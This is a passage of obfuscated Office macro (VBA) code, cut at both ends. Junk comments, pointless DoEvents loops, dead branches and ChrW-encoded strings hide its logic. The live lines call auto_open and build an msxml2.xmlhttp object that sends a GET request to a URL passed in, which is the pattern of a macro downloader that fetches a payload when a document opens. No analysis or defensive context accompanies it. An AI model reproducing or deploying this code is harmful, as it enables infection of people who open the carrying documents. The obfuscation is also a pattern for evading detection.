  359. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  360. DoEvents: ffpaewza = ffpaewza + 1
  361. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  362. Dim ohavezwj As Integer
  363. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  364. For ohavezwj = 0 To 5
  365. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  366. DoEvents
  367. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  368. Next ohavezwj
  369. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  370. Loop
  371. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  372.  
  373. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  374. Dim inuzrzqz As Integer
  375. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  376. For inuzrzqz = 0 To 9
  377. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  378. DoEvents
  379. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  380. Next inuzrzqz
  381. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  382.        MsgBox (ChrW(106) & ChrW(104) & ChrW(120) & ChrW(108) & ChrW(113) & ChrW(114) & ChrW(110) & ChrW(101) & ChrW(49) & ChrW(57))
  383. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  384. End If
  385. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  386. If Len(ChrW(117) & ChrW(110) & ChrW(99) & ChrW(97) & ChrW(115) & ChrW(102) & ChrW(104) & ChrW(115) & ChrW(52) & ChrW(56) & ChrW(53) & ChrW(54)) = Len(ChrW(112) & ChrW(114) & ChrW(110) & ChrW(102) & ChrW(109) & ChrW(115) & ChrW(102) & ChrW(108)) Then
  387. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  388.  
  389. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  390. Dim rlfsyyhu As Integer
  391. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  392. Dim ivozocwt As Integer
  393. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  394. For ivozocwt = 0 To 1
  395. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  396. DoEvents
  397. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  398. Next ivozocwt
  399. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  400. rlfsyyhu = 4
  401. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  402. Do While rlfsyyhu < 78
  403. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  404. Dim ibyfkmyd As Integer
  405. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  406. For ibyfkmyd = 0 To 8
  407. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  408. DoEvents
  409. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  410. Next ibyfkmyd
  411. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  412. DoEvents: rlfsyyhu = rlfsyyhu + 1
  413. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  414. Dim djzefjwh As Integer
  415. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  416. For djzefjwh = 0 To 3
  417. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  418. DoEvents
  419. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  420. Next djzefjwh
  421. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  422. Loop
  423. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  424.  
  425. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  426. Dim xhyqeylk As Integer
  427. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  428. For xhyqeylk = 0 To 3
  429. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  430. DoEvents
  431. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  432. Next xhyqeylk
  433. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  434.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  435. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  436. End If
  437. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  438.  
  439. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  440. Dim jbzuqkee As Integer
  441. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  442. Dim lhxzvkls As Integer
  443. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  444. For lhxzvkls = 0 To 2
  445. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  446. DoEvents
  447. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  448. Next lhxzvkls
  449. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  450. jbzuqkee = 1
  451. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  452. Do While jbzuqkee < 78
  453. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  454. Dim gponkmfb As Integer
  455. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  456. For gponkmfb = 0 To 1
  457. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  458. DoEvents
  459. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  460. Next gponkmfb
  461. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  462. DoEvents: jbzuqkee = jbzuqkee + 1
  463. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  464. Dim mzygfhez As Integer
  465. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  466. For mzygfhez = 0 To 8
  467. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  468. DoEvents
  469. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  470. Next mzygfhez
  471. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  472. Loop
  473. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  474.  
  475. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  476. Dim rcrltszh As Integer
  477. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  478. For rcrltszh = 0 To 1
  479. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  480. DoEvents
  481. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  482. Next rcrltszh
  483. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  484.    auto_open
  485. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  486.  
  487. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  488. End Sub
  489. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  490. Function gigcposgjkk(ByVal dbdylzzldfq As String, ByVal ebwqwtjzaph As String) As Boolean
  491. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  492.     Dim kderacuvhjh As Object, ushtvwqoohy As Long, qefgzsywkju As Long, wratuzwqhxh() As Byte
  493. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  494.  
  495. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  496. If 847911 = 847911 + 1 Then End
  497. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  498. If 5238 < 55 Then
  499. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  500.  
  501. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  502. Dim rjcetspi As Integer
  503. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  504. Dim qiupopzu As Integer
  505. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  506. For qiupopzu = 0 To 9
  507. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  508. DoEvents
  509. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  510. Next qiupopzu
  511. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  512. rjcetspi = 6
  513. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  514. Do While rjcetspi < 93
  515. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  516. Dim lddikoyv As Integer
  517. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  518. For lddikoyv = 0 To 5
  519. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  520. DoEvents
  521. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  522. Next lddikoyv
  523. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  524. DoEvents: rjcetspi = rjcetspi + 1
  525. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  526. Dim xlxnsefx As Integer
  527. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  528. For xlxnsefx = 0 To 7
  529. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  530. DoEvents
  531. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  532. Next xlxnsefx
  533. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  534. Loop
  535. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  536.  
  537. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  538. Dim jcjkcufd As Integer
  539. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  540. For jcjkcufd = 0 To 2
  541. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  542. DoEvents
  543. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  544. Next jcjkcufd
  545. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  546.        MsgBox (ChrW(107) & ChrW(117) & ChrW(105) & ChrW(98) & ChrW(122) & ChrW(122) & ChrW(100) & ChrW(97) & ChrW(51) & ChrW(56))
  547. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  548. End If
  549. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  550. If Len(ChrW(108) & ChrW(115) & ChrW(117) & ChrW(103) & ChrW(120) & ChrW(97) & ChrW(99) & ChrW(110) & ChrW(56) & ChrW(52) & ChrW(57) & ChrW(50)) = Len(ChrW(100) & ChrW(121) & ChrW(116) & ChrW(109) & ChrW(106) & ChrW(117) & ChrW(113) & ChrW(102)) Then
  551. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  552.  
  553. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  554. Dim uywopofw As Integer
  555. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  556. Dim vaxvlyon As Integer
  557. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  558. For vaxvlyon = 0 To 6
  559. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  560. DoEvents
  561. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  562. Next vaxvlyon
  563. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  564. uywopofw = 2
  565. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  566. Do While uywopofw < 88
  567. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  568. Dim mykhtpoh As Integer
  569. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  570. For mykhtpoh = 0 To 1
  571. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  572. DoEvents
  573. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  574. Next mykhtpoh
  575. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  576. DoEvents: uywopofw = uywopofw + 1
  577. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  578. Dim piiehzuw As Integer
  579. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  580. For piiehzuw = 0 To 5
  581. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  582. DoEvents
  583. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  584. Next piiehzuw
  585. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  586. Loop
  587. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  588.  
  589. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  590. Dim yubdhahz As Integer
  591. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  592. For yubdhahz = 0 To 4
  593. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  594. DoEvents
  595. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  596. Next yubdhahz
  597. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  598.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  599. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  600. End If
  601. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  602.  
  603. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  604. Dim kwkcixym As Integer
  605. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  606. Dim meexccgp As Integer
  607. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  608. For meexccgp = 0 To 7
  609. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  610. DoEvents
  611. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  612. Next meexccgp
  613. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  614. kwkcixym = 4
  615. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  616. Do While kwkcixym < 16
  617. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  618. Dim ajlisfyi As Integer
  619. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  620. For ajlisfyi = 0 To 8
  621. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  622. DoEvents
  623. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  624. Next ajlisfyi
  625. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  626. DoEvents: kwkcixym = kwkcixym + 1
  627. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  628. Dim rlvjnpnd As Integer
  629. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  630. For rlvjnpnd = 0 To 1
  631. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  632. DoEvents
  633. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  634. Next rlvjnpnd
  635. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  636. Loop
  637. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  638.  
  639. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  640. Dim zyfzsrrx As Integer
  641. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  642. For zyfzsrrx = 0 To 9
  643. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  644. DoEvents
  645. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  646. Next zyfzsrrx
  647. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  648.    Set kderacuvhjh = CreateObject(ChrW(109) & ChrW(115) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(50) & ChrW(46) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112))
  649. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  650.  
  651. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  652.    kderacuvhjh.Open ChrW(71) & ChrW(69) & ChrW(84), dbdylzzldfq, False
  653. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  654. If 175195 = 175195 + 1 Then End
  655. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  656. If 4441 < 19 Then
  657. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  658.  
  659. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  660. Dim txxglubg As Integer
  661. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  662. Dim adovpixc As Integer
  663. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  664. For adovpixc = 0 To 8
  665. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  666. DoEvents
  667. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  668. Next adovpixc
  669. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  670. txxglubg = 2
  671. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  672. Do While txxglubg < 53
  673. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  674. Dim uzvfsoyj As Integer
  675. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  676. For uzvfsoyj = 0 To 9
  677. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  678. DoEvents
  679. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  680. Next uzvfsoyj
  681. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  682. DoEvents: txxglubg = txxglubg + 1
  683. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  684. Dim okfncyll As Integer
  685. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  686. For okfncyll = 0 To 4
  687. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  688. DoEvents
  689. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  690. Next okfncyll
  691. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  692. Loop
  693. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  694.  
  695. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  696. Dim fhfzjswv As Integer
  697. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  698. For fhfzjswv = 0 To 2
  699. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  700. DoEvents
  701. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  702. Next fhfzjswv
  703. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  704.        MsgBox (ChrW(119) & ChrW(102) & ChrW(103) & ChrW(109) & ChrW(103) & ChrW(98) & ChrW(108) & ChrW(113) & ChrW(50) & ChrW(52))
  705. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  706. End If
